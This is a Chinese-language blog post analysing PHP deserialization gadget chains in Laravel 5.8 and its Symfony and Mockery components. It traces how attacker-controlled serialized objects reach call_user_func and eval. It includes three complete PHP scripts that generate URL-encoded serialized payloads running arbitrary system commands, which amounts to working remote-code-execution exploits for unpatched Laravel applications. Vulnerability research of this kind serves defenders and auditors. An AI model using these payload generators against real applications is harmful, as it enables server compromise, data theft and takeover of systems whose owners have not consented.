Laravel 5.8反序列化漏洞的示例分析

发布时间:2021-12-24 10:09:48 作者:小新
来源:亿速云 阅读:301

这篇文章将为大家详细讲解有关Laravel 5.8反序列化漏洞的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

Laravel 5.8反序列化漏洞

POP链1

PendingBroadcast->destruct --->Dispatcher->dispatch --->Dispatcher->dispatchToQueue

先看Dispatcher->dispatchToQueue,只要call_user_func的参数都可控,即可执行任意命令

Laravel 5.8反序列化漏洞的示例分析

再看pop链首

PendingBroadcast->__destruct

Laravel 5.8反序列化漏洞的示例分析

$this->events与$this->event可控。

这里需要调用Dispatcher->dispatch

Laravel 5.8反序列化漏洞的示例分析

跟进commandShouldBeQueued,只要$command属于ShouldQueue类(子类也行)即可返回true

Laravel 5.8反序列化漏洞的示例分析

跟进Dispatcher->dispatchToQueue

Laravel 5.8反序列化漏洞的示例分析

$this->queueResolver可控,$connection由传入的$command控制,也即是上面的$this->event,可控。

只要找到一个包含$connection属性的ShouldQueue的实现类即可执行任意代码。

先找到ShouldQueue的实现类如下

Laravel 5.8反序列化漏洞的示例分析

这些类自身没有$connection属性,但是一些类使用的trait类Queueable中有$connection,如下

Laravel 5.8反序列化漏洞的示例分析

故如下类,可用

QueuedCommand
BroadcastEvent
SendQueuedNotifications
CallQueuedClosure

至此已可编写exp,整理一下

PendingBroadcast->events = Dispatcher类
PendingBroadcast->event = BroadcastEvent类		//包含$connection属性的ShouldQueue的实现类	

Dispatcher->queueResolver = 要执行的函数	
BroadcastEvent->connection = 参数	

exp1

<?php

namespace Illuminate\Bus;
class Dispatcher implements QueueingDispatcher{
    protected $queueResolver;
    
    public function __construct(){
        $this->queueResolver = "system";
    }
}

namespace Illuminate\Broadcasting;
class BroadcastEvent implements ShouldQueue{
    public $connection;
    
    public function __construct($cmd){
        $this->connection  = $cmd;
    }
}
    
namespace Illuminate\Broadcasting;
class PendingBroadcast{
    protected $events;
    protected $event;
    
    public function __construct($events,$event){
        $this->events = $events;
        $this->event = $event;
    }   
}
$broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($argv[1]);
$dispatcher = new Illuminate\Bus\Dispatcher();
$pending = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);

echo urlencode(serialize($pending));
echo "\n";
?>

Laravel 5.8反序列化漏洞的示例分析

Laravel 5.8反序列化漏洞的示例分析

控制broadcastevent的$connection为要执行命令的参数即可执行命令了,其他师傅没有这么做,不是很理解原因。但是下面还是说一下其他师傅的。

利用参数可控的call_user_func可调用任意类方法,如下

Laravel 5.8反序列化漏洞的示例分析

故,这里可以调用EvalLoader类的load方法,如下

Laravel 5.8反序列化漏洞的示例分析

MockDefinition类的getCode方法返回值可控,如下

Laravel 5.8反序列化漏洞的示例分析

只要控制了code并且不进入if语句(使得$definition->getClassName为一个未被载入的类),即可执行代码

跟踪getClassName方法

Laravel 5.8反序列化漏洞的示例分析

全局查找返回值可控的getName方法,发现MockConfiguration类

Laravel 5.8反序列化漏洞的示例分析

至此可编写exp,整理一下如下

PendingBroadcast->events = Dispatcher类
PendingBroadcast->event = BroadcastEvent类		//包含$connection属性的ShouldQueue的实现类	

Dispatcher->queueResolver = [EvalLoader类,"load"]		
BroadcastEvent->connection = MockDefinition类	

MockDefinition->config = MockConfiguration类		//任一getName返回值可控的类
MockDefinition->code = 要执行的代码
MockConfiguration->name = ConfigCacheCommand类	//任一未被载入的类

exp2

<?php

namespace Illuminate\Bus;
class Dispatcher{
    protected $queueResolver;
    
    public function __construct($cmd){
        $this->queueResolver = $cmd;
    }
}

namespace Illuminate\Broadcasting;
class BroadcastEvent{
    public $connection;
    
    public function __construct($cmd){
        $this->connection  = $cmd;
    }
}

namespace Mockery\Generator;
class MockDefinition{
	protected $config;
	protected $code;

	public function __construct($mockconfiguration,$code){
		$this->config = $mockconfiguration;
		$this->code = $code;
	}
}

namespace Mockery\Generator;
class MockConfiguration{
	protected $name;

	public function __construct($class){
		$this->name  = $class;
	}
}

namespace Mockery\Loader;
class EvalLoader{
}

namespace Illuminate\Foundation\Console;
class ConfigCacheCommand{
}
    
namespace Illuminate\Broadcasting;
class PendingBroadcast{
    protected $events;
    protected $event;
    
    public function __construct($events,$event){
        $this->events = $events;
        $this->event = $event;
    }   
}
$mockconfiguration = new \Mockery\Generator\MockConfiguration(new \Illuminate\Foundation\Console\ConfigCacheCommand());
$mockdefinition = new \Mockery\Generator\MockDefinition($mockconfiguration,"<?php system($argv[1]);?>");
$broadcastevent = new \Illuminate\Broadcasting\BroadcastEvent($mockdefinition);
$dispatcher = new \Illuminate\Bus\Dispatcher(array(new \Mockery\Loader\EvalLoader(),"load"));
$pending = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);

echo urlencode(serialize($pending));
echo "\n";
?>

Laravel 5.8反序列化漏洞的示例分析

POP链2

TagAwareAdapter->__destruct --->TagAwareAdapter->commit --->TagAwareAdapter->invalidateTags --->ProxyAdapter->saveDeferrred --->ProxyAdapter->doSave

先看命令执行处

Laravel 5.8反序列化漏洞的示例分析

若ProxyAdapter->setInnerItem、$innerItem、$item可控,则可命令执行。

回到POP链首

TagAwareAdapter->__destruct

Laravel 5.8反序列化漏洞的示例分析

跟进,TagAwareAdapter->commit

Laravel 5.8反序列化漏洞的示例分析

跟进,TagAwareAdapter->invalidateTags(截取部分)

Laravel 5.8反序列化漏洞的示例分析

令$this->pool=ProxyAdapter类

跟进ProxyAdapter->saveDeferred

Laravel 5.8反序列化漏洞的示例分析

跟进ProxyAdapter->doSave

Laravel 5.8反序列化漏洞的示例分析

首先,$item为我们传入的参数,也即是$TagAwareAdapter->deferred,可控。

204行的if语句,只要使得$item为CacheItem的实例即可通过。

$this->setInnerItem为ProxyAdapter的属性,可控。

$innerItem可通过代码213行控制
Laravel 5.8反序列化漏洞的示例分析

至此可以编写exp,整理一下

$TagAwareAdapter->deferred = ["4ut15m",CacheItem类]
$TagAwareAdapter->pool = ProxyAdapter类

$ProxyAdapter->setInnerItem = "system";
$ProxyAdapter->poolHash = "4ut15m";

$CacheItem->innerItem = 要执行的命令
$CacheItem->poolHash = "4ut15m";

这条链并不复杂,具体的内容看exp

exp

<?php

namespace Symfony\Component\Cache\Adapter;
class TagAwareAdapter{
	private $deferred;
	private $pool;

	public function __construct($obj, $obj2){
		$this->deferred = array("4ut15m" => $obj2);
		$this->pool = $obj;
	}

}

namespace Symfony\Component\Cache;
final class CacheItem{
	protected $innerItem;
	protected $poolHash;
	public function __construct($cmd){
		$this->innerItem = "$cmd";
		$this->poolHash = "4ut15m";
	}
}

namespace Symfony\Component\Cache\Adapter;
class ProxyAdapter{
	private $setInnerItem;
	private $poolHash;
	public function __construct(){
		$this->setInnerItem = "system";
		$this->poolHash = "4ut15m";
	}
}


$cacheitem = new \Symfony\Component\Cache\CacheItem($argv[1]);
$proxyadapter = new \Symfony\Component\Cache\Adapter\ProxyAdapter();

$TagAwareAdapter = new \Symfony\Component\Cache\Adapter\TagAwareAdapter($proxyadapter, $cacheitem);

echo urlencode(serialize($TagAwareAdapter));
echo "\n";
?>

Laravel 5.8反序列化漏洞的示例分析

Laravel 5.8反序列化漏洞的示例分析

关于“Laravel 5.8反序列化漏洞的示例分析”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

推荐阅读:
  1. 在Laravel之外使用illuminate组件的方法
  2. Laravel表单验证提示设置多语言的示例

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

laravel

上一篇:Rancher2.0有哪些优势

下一篇:linux中如何删除用户组

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》